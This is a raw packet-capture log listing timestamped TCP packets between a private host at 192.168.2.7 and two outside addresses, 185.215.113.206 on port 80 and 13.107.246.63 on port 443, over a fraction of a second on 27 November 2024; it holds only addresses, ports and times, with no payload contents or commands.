Nov 27, 2024 17:58:25.740243912 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.740243912 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.741163969 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.741225004 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.741295099 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.741338015 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.742058039 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.742125988 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.742140055 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.742227077 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.743041992 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.743087053 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.743104935 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.743149996 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.743944883 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.744040012 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.744143963 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.744224072 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.744924068 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.745009899 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.745038033 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.745115042 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.745867014 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.745966911 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.745999098 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.746026993 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.746864080 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.746922970 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.747065067 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.747149944 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.747751951 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.747864008 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.747905016 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.747905016 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.748748064 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.748842001 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.748846054 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.748980999 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.749735117 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.749809027 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.749809027 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.749850035 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.750756979 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.750809908 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.750883102 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.750936985 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.751627922 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.751708031 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.751787901 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.751873970 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.752811909 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.752881050 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.777164936 CET	443	49708	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.777245045 CET	443	49708	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.777327061 CET	49708	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.777602911 CET	49708	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.777620077 CET	443	49708	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.777654886 CET	49708	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.777659893 CET	443	49708	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.780905962 CET	49713	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.780935049 CET	443	49713	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.781052113 CET	49713	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.781203985 CET	49713	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.781214952 CET	443	49713	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.817516088 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.817583084 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.817646980 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.817667007 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.817934036 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.817985058 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.818124056 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.818197966 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.818840981 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.818917990 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.818957090 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.818957090 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.819751978 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.819833040 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.819868088 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.819885969 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.820656061 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.820718050 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.820741892 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.820782900 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.821605921 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.821662903 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.821731091 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.821777105 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.822513103 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.822650909 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.822653055 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.822702885 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.823468924 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.823555946 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.823642969 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.823717117 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.824342966 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.824398994 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.824425936 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.824484110 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.825253963 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.825318098 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.825364113 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.825408936 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.826191902 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.826231956 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.826258898 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.826277018 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.827080965 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.827152014 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.827189922 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.827243090 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.828016043 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.828083038 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.828099966 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.828172922 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.828902960 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.828967094 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.828975916 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.829015970 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.829839945 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.829915047 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.830168009 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.830234051 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.830802917 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.830857038 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.830936909 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.830980062 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.831841946 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.831953049 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.831969976 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.831990004 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.832957983 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.833061934 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.833236933 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.833282948 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.834219933 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.834279060 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.834281921 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.834323883 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.835277081 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.835336924 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.835453987 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.835602999 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.855442047 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.855515957 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.855519056 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.855560064 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.855916977 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.855988979 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.856024027 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.856066942 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.856628895 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.856671095 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.856748104 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.856791019 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.857765913 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.857825994 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.857880116 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.857928038 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.858469963 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.858525991 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.858645916 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.858702898 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.859386921 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.859488964 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.859492064 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.859539986 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.860308886 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.860373974 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.860471964 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.860548019 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.861190081 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.861233950 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.861298084 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.861413956 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.862090111 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.862166882 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.862293005 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.862385988 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.863101959 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.863167048 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.863307953 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.863360882 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.863874912 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.863956928 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.886699915 CET	443	49710	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.886776924 CET	443	49710	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.886852026 CET	49710	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.887126923 CET	49710	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.887140036 CET	443	49710	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.887181044 CET	49710	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.887187004 CET	443	49710	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.889792919 CET	443	49712	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.889945984 CET	443	49712	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.890003920 CET	49712	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.890055895 CET	49712	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.890055895 CET	49712	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.890079975 CET	443	49712	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.890089035 CET	443	49712	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.890316010 CET	49714	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.890341997 CET	443	49714	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.890450001 CET	49714	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.890613079 CET	49714	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.890625954 CET	443	49714	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.892491102 CET	49715	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.892524958 CET	443	49715	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.892647028 CET	49715	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.892770052 CET	49715	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.892786026 CET	443	49715	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.913237095 CET	443	49711	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.913311005 CET	443	49711	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.913423061 CET	49711	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.925097942 CET	49711	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.925122023 CET	443	49711	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.925132990 CET	49711	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.925144911 CET	443	49711	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.928744078 CET	49716	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.928775072 CET	443	49716	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.928847075 CET	49716	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.929013968 CET	49716	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.929025888 CET	443	49716	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.938007116 CET	443	49709	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.938081026 CET	443	49709	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.938127995 CET	49709	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.938338995 CET	49709	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.938348055 CET	443	49709	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.938358068 CET	49709	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.938363075 CET	443	49709	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.941510916 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.941533089 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.941642046 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.941689014 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.941741943 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.941886902 CET	49717	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.941910028 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.941920996 CET	443	49717	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.941956043 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.941984892 CET	49717	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.942024946 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.942065954 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.942481995 CET	49717	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:25.942496061 CET	443	49717	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:25.942811966 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.942889929 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.942958117 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.943017006 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.943733931 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.943854094 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.943861961 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.944005013 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.944739103 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.944820881 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.944854975 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.944906950 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.945560932 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.945626974 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.945708990 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.945749044 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.946513891 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.946557045 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.946582079 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.946628094 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.947400093 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.947526932 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.947587013 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.947637081 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.948309898 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.948348045 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.948389053 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.948389053 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.949311972 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.949394941 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.949412107 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.949453115 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.950170994 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.950229883 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.950242043 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.950349092 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.951052904 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.951095104 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.951236963 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.951292992 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.952112913 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.952192068 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.952205896 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.952245951 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.953200102 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.953212976 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.953282118 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.953867912 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.953926086 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.953953028 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.953995943 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.954711914 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.954771042 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.954817057 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.954879999 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.955631018 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.955735922 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.955754042 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.955789089 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.956532955 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.956547022 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.956613064 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.956613064 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.957412958 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.957520962 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.957535982 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.957559109 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.958342075 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.958405972 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.958483934 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.958535910 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.959230900 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.959279060 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.959342957 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.959412098 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.960393906 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.960454941 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.960477114 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.960558891 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.961112976 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.961189032 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.961258888 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.961328030 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:25.961965084 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:25.962133884 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:26.027987957 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:26.028033972 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:26.028218031 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:26.028218031 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:26.028402090 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:26.028517008 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:26.028522015 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:26.028573036 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:26.029339075 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:26.029393911 CET	49702	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:26.029432058 CET	80	49702	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:26.029592991 CET	49702	80	192.168.2.7	185.215.113.206
